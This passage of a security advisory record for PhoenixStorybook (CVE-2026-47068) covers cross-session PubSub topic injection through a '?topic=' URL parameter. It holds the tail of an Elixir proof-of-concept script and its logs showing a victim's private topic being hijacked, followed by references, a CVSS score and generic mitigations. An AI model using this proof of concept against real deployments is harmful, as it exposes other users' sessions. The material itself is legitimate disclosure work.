Req.get!(attacker_url, retry: false)\n\n# ----- 6. Observe the cross-session leak. -----\noutcome =\n  receive do\n    {:victim_got, leaked_pid} -\u003e {:leaked, leaked_pid}\n    :victim_timeout -\u003e :no_leak\n  after\n    6_000 -\u003e :no_leak\n  end\n\n# ----- 7. Tear down. -----\n:ok = Supervisor.stop(MyEndpoint, :normal)\nFile.rm_rf!(tmp)\nif Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)\n\ncase outcome do\n  {:leaked, pid} -\u003e\n    IO.puts(\"Victim received iframe pid: #{inspect(pid)}\")\n    IO.puts(\"Victim\u0027s topic was: #{victim_topic} (never shared with attacker session)\")\n    IO.puts(\"Attacker only needed to know/guess that topic to hijack the pid handshake.\")\n    IO.puts(\"VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim\u0027s private topic\")\n\n  :no_leak -\u003e\n    IO.puts(\"NOT VERIFIED: no cross-session message observed within timeout\")\nend\n\n```\n\n### Logs\n\n```logs\n11:56:17.598 [warning] Can\u0027t resolve priv dir for application psb_poc\n\n11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)\n\n11:56:17.750 [info] Access MyEndpoint at http://localhost:26466\n\n11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0\n  Parameters: %{\"story\" =\u003e [\"demo\"], \"topic\" =\u003e \"playground-secret-8\"}\n  Pipelines: [:storybook_browser]\nVictim received iframe pid: #PID\u003c0.598.0\u003e\nVictim\u0027s topic was: playground-secret-8 (never shared with attacker session)\nAttacker only needed to know/guess that topic to hijack the pid handshake.\nVERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim\u0027s private topic\n```",
  "id": "GHSA-mrhx-6pw9-q5fh",
  "modified": "2026-06-09T21:59:25Z",
  "published": "2026-06-09T21:59:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47068"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-47068.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phenixdigital/phoenix_storybook"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-47068"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhoenixStorybook has cross-session PubSub topic injection via URL parameter"
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.